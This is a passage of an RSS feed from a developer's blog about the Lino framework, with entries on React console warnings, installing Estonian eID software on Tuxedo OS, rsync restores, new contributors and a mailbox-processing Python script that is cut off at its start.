&lt;p&gt;The &lt;cite&gt;New Client&lt;/cite&gt; &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-quick-link" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;quick link&lt;/span&gt;&lt;/a&gt; is broken. When I click it, the JS console
says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Uncaught&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;promise&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ne"&gt;TypeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;onReady&lt;/span&gt; &lt;span class="n"&gt;SiteContext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jsx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;148&lt;/span&gt;
  &lt;span class="n"&gt;setReady&lt;/span&gt; &lt;span class="n"&gt;Base&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;181&lt;/span&gt;
  &lt;span class="n"&gt;componentDidMount&lt;/span&gt; &lt;span class="n"&gt;Base&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;153&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This issue is actually old, and it goes away when you reload the dashboard. It
comes only when you had previously opened another table and then returned to the
main page. I think it is a bug in our logic for retrieving the parent’s context.
I won’t dive into this now because no customer has ever complained about it.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="it-seems-you-are-still-using-the-old-wait-option"&gt;
&lt;h2&gt;It seems you are still using the old wait option&lt;a class="headerlink" href="#it-seems-you-are-still-using-the-old-wait-option" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Full warning in the JS console:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;react-i18next:: It seems you are still using the old wait option, you may
migrate to the new useSuspense behaviour.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I had seen this warning before, and since it is still there after the upgrade, I
decided to investigate a bit.&lt;/p&gt;
&lt;p&gt;As suggested e.g. &lt;a class="reference external" href="https://stackoverflow.com/questions/74850076/react-i18next-old-usesuspense-warning"&gt;here&lt;/a&gt;,
I replaced &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;'wait'&lt;/span&gt;&lt;/code&gt; by &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;'useSuspense'&lt;/span&gt;&lt;/code&gt; in  &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;components/i18n.js&lt;/span&gt;&lt;/code&gt; and
the  warning was gone. And I didn’t dive deeper.&lt;/p&gt;
&lt;p&gt;Another issue related to i18n is that the client requests GET
&lt;a class="reference external" href="http://127.0.0.1:8000/static/react/locales/en/translation.json"&gt;http://127.0.0.1:8000/static/react/locales/en/translation.json&lt;/a&gt; and receives “404
Not found”. I didn’t yet dive into this.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="support-for-defaultprops-will-be-removed-from-function-components-in-a-future-major-release"&gt;
&lt;h2&gt;Support for defaultProps will be removed from function components in a future major release&lt;a class="headerlink" href="#support-for-defaultprops-will-be-removed-from-function-components-in-a-future-major-release" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We have indeed a &lt;cite&gt;Labeled&lt;/cite&gt; component, defined in
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;LinoComponentUtils.jsx&lt;/span&gt;&lt;/code&gt;, and not as a class but as a function.&lt;/p&gt;
&lt;p&gt;Thanks to Matt Pocock, who explains how to handle this issue in  a short video
&lt;a class="reference external" href="https://www.youtube.com/watch?v=fnQusZt49_Y&amp;amp;t=102s"&gt;Stop using defaultProps (React 18.3 preview)&lt;/a&gt;  After watching this
video  I was able to convert our code.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0923.html</guid><pubDate>Mon, 23 Sep 2024 00:00:00 +0000</pubDate></item><item><title>How to install esteid software on Tuxedo OS</title><link>https://luc.lino-framework.org/blog/2024/0920.html</link><description>&lt;section id="how-to-install-esteid-software-on-tuxedo-os"&gt;
&lt;h1&gt;How to install esteid software on Tuxedo OS&lt;a class="headerlink" href="#how-to-install-esteid-software-on-tuxedo-os" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Friday, September 20, 2024&lt;/p&gt;
&lt;p&gt;I want to install the Estonian eid software (“DigiDoc client”) on my notebook,
but the install script says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sh install-open-eid.sh
tuxedo is not supported
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;All other Linux software installed nicely on my Tuxedo notebook from
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;.deb&lt;/span&gt;&lt;/code&gt; packages because &lt;a class="reference external" href="https://www.tuxedocomputers.com/en/Infos/Help-Support/Frequently-asked-questions/What-is-the-differences-between-TUXEDO-OS-and-Ubuntu/Kubuntu-_1.tuxedo"&gt;Tuxedo OS is actually just an optimized Ubuntu&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;More exactly it’s an Ubuntu 22.04, codename “jammy”:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ lsb_release -a
No LSB modules are available.
Distributor ID: Tuxedo
Description:    TUXEDO OS 3
Release:        22.04
Codename:       jammy
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is what I did.&lt;/p&gt;
&lt;p&gt;Modify the install script:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ nano install-open-eid.sh
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Find the place where it says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;case $distro in
   debian)
      ...
   ubuntu|neon|zorin)
      ...
   linuxmint)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Change the case “ubuntu|neon|zorin)” into:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;ubuntu&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;neon&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;zorin&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;tuxedo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;For normal people this would probably have worked. But I am a Belgian, and this
caused a little problem. It seems that the Belgian eid software conflicts with
the Estonian one:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sh install-open-eid.sh
Adding RIA repository to APT sources list (/etc/apt/sources.list.d/ria-repository.list)
[sudo] password for luc:
deb [signed-by=/usr/share/keyrings/ria-repository.gpg] https://installer.id.ee/media/ubuntu/ jammy main
Adding key to trusted key set
0xC6C83D68 &amp;#39;RIA Software Signing Key &amp;lt;signing@ria.ee&amp;gt;&amp;#39;
Installing software (apt update &amp;amp;&amp;amp; apt install open-eid)
Hit:1 https://linux.teamviewer.com/deb stable InRelease
Get:2 https://installer.id.ee/media/ubuntu jammy InRelease
Get:3 https://installer.id.ee/media/ubuntu jammy/main amd64 Packages [6 094 B]
Hit:4 http://txos-extra.tuxedocomputers.com/ubuntu jammy InRelease
Hit:5 https://txos.tuxedocomputers.com/ubuntu jammy InRelease
Hit:6 https://deb.tuxedocomputers.com/ubuntu jammy InRelease
Get:7 https://mirrors.tuxedocomputers.com/ubuntu/mirror/archive.ubuntu.com/ubuntu jammy InRelease [270 kB]
Hit:8 https://plasma6.tuxedocomputers.com jammy InRelease
Hit:9 https://txos.tuxedocomputers.com/ubuntu jammy-plasma InRelease
Hit:10 https://files.eid.belgium.be/debian jammy InRelease
Hit:11 https://mirrors.tuxedocomputers.com/ubuntu/mirror/security.ubuntu.com/ubuntu jammy-security InRelease
Hit:12 https://mirrors.tuxedocomputers.com/ubuntu/mirror/archive.ubuntu.com/ubuntu jammy-updates InRelease
Fetched 279 kB in 1s (200 kB/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
All packages are up-to-date.
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies.
 libbeidpkcs11-0 : Conflicts: opensc-pkcs11 but 0.22.0-1ubuntu2 is to be installed
E: Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So I uninstalled the Belgian eid software:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;sudo apt remove eid-viewer eid-mw libbeidpkcs11-0
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libbeidpkcs11-bin libnss3-tools libphonon4qt5-4 libqt5keychain1 libqt5quickwidgets5 libqt5webengine-data libqt5webenginecore5 libqt5webenginewidgets5 libqt5websockets5 libre2-9
  phonon-backend-gstreamer-common phonon4qt5
Use &amp;#39;sudo apt autoremove&amp;#39; to remove them.
The following packages will be REMOVED
  beid-mozilla-extension beid-mozilla-webext libbeidpkcs11-0 libeidviewer0
0 to upgrade, 0 to newly install, 4 to remove and 0 not to upgrade.
After this operation, 621 kB disk space will be freed.
Do you want to continue? [Y/n]
(Reading database ... 350378 files and directories currently installed.)
Removing beid-mozilla-extension (5.1.18v5.1.18-0u2204-1) ...
Removing beid-mozilla-webext (5.1.18v5.1.18-0u2204-1) ...
Removing libeidviewer0:amd64 (5.1.18v5.1.18-0u2204-1) ...
Removing libbeidpkcs11-0:amd64 (5.1.18v5.1.18-0u2204-1) ...
Processing triggers for libc-bin (2.35-0ubuntu3.8) ...
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And then tried again:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt install open-eid
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now it worked. And when Estonian software was installed first, the Belgian
software installs as well:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt install eid-viewer eid-mw
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Voilà.&lt;/p&gt;
&lt;p&gt;Afterwards I noticed that maybe both (Estonian) DigiDoc and (Belgian) eid
viewer had been known to Tuxedo OS before and all this wasn’t necessary. But
I’m not sure.&lt;/p&gt;
&lt;p&gt;sudo apt remove eid-viewer eid-mw libbeidpkcs11-0&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0920.html</guid><pubDate>Fri, 20 Sep 2024 00:00:00 +0000</pubDate></item><item><title>Wednesday, September 11, 2024</title><link>https://luc.lino-framework.org/blog/2024/0911.html</link><description>&lt;section id="wednesday-september-11-2024"&gt;
&lt;h1&gt;Wednesday, September 11, 2024&lt;a class="headerlink" href="#wednesday-september-11-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I have a copy of my data, made with &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;rsync&lt;/span&gt;&lt;/code&gt; and using the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;-a&lt;/span&gt;&lt;/code&gt; option:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;archive&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;            &lt;span class="n"&gt;archive&lt;/span&gt; &lt;span class="n"&gt;mode&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rlptgoD&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;X&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;U&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;H&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;How restore my data do my new notebook computer? I’d like to keep all
permissions. But of course the new computer has different values for UID and
GID. I would have to do some mapping.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0911.html</guid><pubDate>Wed, 11 Sep 2024 00:00:00 +0000</pubDate></item><item><title>Welcome at Synodalsoft, Joy and Abdullah!</title><link>https://luc.lino-framework.org/blog/2024/0831.html</link><description>&lt;section id="welcome-at-synodalsoft-joy-and-abdullah"&gt;
&lt;h1&gt;Welcome at Synodalsoft, Joy and Abdullah!&lt;a class="headerlink" href="#welcome-at-synodalsoft-joy-and-abdullah" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Saturday, August 31, 2024&lt;/p&gt;
&lt;p&gt;The Synodalsoft team welcomes two new contributors, Joy and Abdullah. I updated
our list of &lt;a class="reference external" href="https://www.synodalsoft.net/who/#lino-contributors" title="(in Synodalsoft)"&gt;&lt;span class="xref std std-ref"&gt;individual contributors&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;They come from very different places: Joy lives in Montevideo, 6 hours after
Tallinn time zone, and Abdullah lives in Melbourne, 7 hours before Tallinn. Lino
is extending to the ends of the world ;-)&lt;/p&gt;
&lt;p&gt;They joined Synodalsoft at an interesting moment of our history.&lt;/p&gt;
&lt;p&gt;When Joy contacted me, on March 4, I was actually in hospital, recovering from
an accident where I broke my hip. This accident forced me to step back from my
social volunteer engagements for the next months. As a religious person I
constantly talk with God (some call it “praying”), so I asked him “What does
that mean? What are you telling me through this?” and he answered in an
unusually clear way: “Luc, it’s more than 20 years that you are trying to
explain to church people in Estonia how they should do their work. They don’t
want to hear you. Leave them in peace. Your vocation is Lino. Stop wasting your
time with useless things.”&lt;/p&gt;
&lt;p&gt;Note that “Lino” and “Synodalsoft” are synonym here.  Synodalsoft is the team,
Lino is our flagship product. I registered the synodalsoft.net domain name
because the idea behind Lino is bigger than a single software product.
Synodalsoft is about how software should ideally be developed, it is the name I
suggest for the foundation to create if the project becomes bigger than Rumma &amp;amp;
Ko can handle.&lt;/p&gt;
&lt;p&gt;I had not yet fully recovered from my hip surgery when another frightening
thing happened: &lt;a class="reference external" href="https://www.saffre-rumma.net/team/sharif/#sharif" title="(in Saffre-Rumma)"&gt;&lt;span class="xref std std-ref"&gt;Sharif&lt;/span&gt;&lt;/a&gt;, our second &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-core-developer" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;core developer&lt;/span&gt;&lt;/a&gt;,
disappeared.  He left his wife to visit a friend, and hasn’t answered his phone
since then. This was more than three months ago and we still have no news about
him. (&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2024/0802.html"&gt;Details in my blog&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;During the first weeks I was under shock and considered abandoning Lino if
Sharif doesn’t come back.  He had become like a son to me after 3 years of
working together. But despite the catastrophic human aspect of this story,  I
started to realize that Lino continues to live, and that I will continue to
develop it.   Lino has always been developing slowly. Slow development is
actually one of its strengths. For the first time in my life I seriously went
down into the &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-React-front-end" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;React front end&lt;/span&gt;&lt;/a&gt;. This part of Lino  is quite different
from the rest of Lino, most of it is written in Javascript. It had been written
by Tonis and Hamza, and I never had to get my hands dirty with it. Because
Sharif took over their job and was better than me at it.&lt;/p&gt;
&lt;p&gt;Joy and Abdullah will remain volunteer contributors because I don’t plan to
build up a third team of paid workers. I am now 56 years old and if you want
Synodalsoft to continue when I will be gone, you can count on my help, but don’t
ask me to be the motor.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0831.html</guid><pubDate>Sat, 31 Aug 2024 00:00:00 +0000</pubDate></item><item><title>Thursday, August 29, 2024</title><link>https://luc.lino-framework.org/blog/2024/0829.html</link><description>&lt;section id="thursday-august-29-2024"&gt;
&lt;h1&gt;Thursday, August 29, 2024&lt;a class="headerlink" href="#thursday-august-29-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Continued from &lt;a class="reference internal" href="0828.html"&gt;&lt;span class="doc"&gt;Wednesday, August 28, 2024&lt;/span&gt;&lt;/a&gt;. Working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4381"&gt;#4381&lt;/a&gt; (Uploading photos or other
media files via email (postfix)).&lt;/p&gt;
&lt;p&gt;Hey, all my yesterday’s plans are probably bullshit! It’s much more
straightforward to let Postfix deliver all emails to photos locally, as if
photos was a normal user. And all analyzing is done by Lino in the
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/linod.html#term-background-task" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;background task&lt;/span&gt;&lt;/a&gt;. What I don’t know yet is how to remove mails from a
mailbox.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://docs.python.org/3/library/mailbox.html"&gt;https://docs.python.org/3/library/mailbox.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Yes, it seems like the &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;mailbox&lt;/span&gt;&lt;/code&gt; module is what we need. And I copy their
warning:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Be very cautious when modifying mailboxes that might be simultaneously changed
by some other process. The safest mailbox format to use for such tasks is
&lt;cite&gt;Maildir&lt;/cite&gt;; try to avoid using single-file formats such as &lt;cite&gt;mbox&lt;/cite&gt; for
concurrent writing. If you’re modifying a mailbox, you must lock it by calling
the lock() and unlock() methods before reading any messages in the file or
making any changes by adding or deleting a message. Failing to lock the
mailbox runs the risk of losing messages or corrupting the entire mailbox.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;And now I remember that we have the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/inbox.html#module-lino_xl.lib.inbox" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.inbox&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin, which also
accesses mailboxes but doesn’t write to them. It just looks for incoming emails
that are a reply to an existing &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;comments.Comment&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I had a look at the &lt;a class="reference external" href="https://django-mailbox.readthedocs.io/en/latest/"&gt;django-mailbox&lt;/a&gt; plugin. This plugin (they
call it a “Django application”) consumes messages from POP3, IMAP, Office365 API
or local mailboxes into a Django database. It defines three database models
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;Mailbox``(name,&lt;/span&gt; &lt;span class="pre"&gt;uri,&lt;/span&gt; &lt;span class="pre"&gt;from_email,&lt;/span&gt; &lt;span class="pre"&gt;active,&lt;/span&gt; &lt;span class="pre"&gt;last_polling),&lt;/span&gt; &lt;span class="pre"&gt;``Message``(mailbox,&lt;/span&gt;
&lt;span class="pre"&gt;subject,&lt;/span&gt; &lt;span class="pre"&gt;message_id,&lt;/span&gt; &lt;span class="pre"&gt;in_reply_to.&lt;/span&gt; &lt;span class="pre"&gt;from_header,&lt;/span&gt; &lt;span class="pre"&gt;to_header,&lt;/span&gt; &lt;span class="pre"&gt;encoded,&lt;/span&gt; &lt;span class="pre"&gt;processed,&lt;/span&gt;
&lt;span class="pre"&gt;read,&lt;/span&gt; &lt;span class="pre"&gt;raw_message_content)&lt;/span&gt; &lt;span class="pre"&gt;and&lt;/span&gt; &lt;span class="pre"&gt;``MessageAttachment``(message,&lt;/span&gt; &lt;span class="pre"&gt;headers,&lt;/span&gt; &lt;span class="pre"&gt;document)&lt;/span&gt;
&lt;span class="pre"&gt;as&lt;/span&gt; &lt;span class="pre"&gt;well&lt;/span&gt; &lt;span class="pre"&gt;as&lt;/span&gt; &lt;span class="pre"&gt;an&lt;/span&gt; &lt;span class="pre"&gt;django-admin&lt;/span&gt; &lt;span class="pre"&gt;command&lt;/span&gt; &lt;span class="pre"&gt;``getmail&lt;/span&gt;&lt;/code&gt; and a Django signal
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;message_received&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The value of &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;django-mailbox&lt;/span&gt;&lt;/code&gt; is that it provides a few additional transport
classes compared to the standard mailbox package (see &lt;a class="reference external" href="https://github.com/coddingtonbear/django-mailbox/tree/master/django_mailbox/transports"&gt;source code&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;But for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4381"&gt;#4381&lt;/a&gt; we don’t need &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;django-mailbox&lt;/span&gt;&lt;/code&gt; because we don’t want to
see the messages themselves. We actually want to avoid moving the messages too
much from one place to another.&lt;/p&gt;
&lt;p&gt;Here is a copy of the last version of the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/home/photos/bin/photos.py&lt;/span&gt;&lt;/code&gt;
script on SR, which I won’t maintain any more:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;logger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getLogger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;photos&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pathlib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;email&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;mimetypes&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;email.policy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;datetime&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;getpass&lt;/span&gt;

&lt;span class="c1"&gt;# store_dir = Path(&amp;quot;/var/mail/photos&amp;quot;)&lt;/span&gt;
&lt;span class="c1"&gt;# store_dir = Path(&amp;quot;/home/photos&amp;quot;)&lt;/span&gt;
&lt;span class="n"&gt;store_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;allowed_chars&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;_-+&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;saniiyze&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;_&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isalpha&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isdigit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;allowed_chars&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;

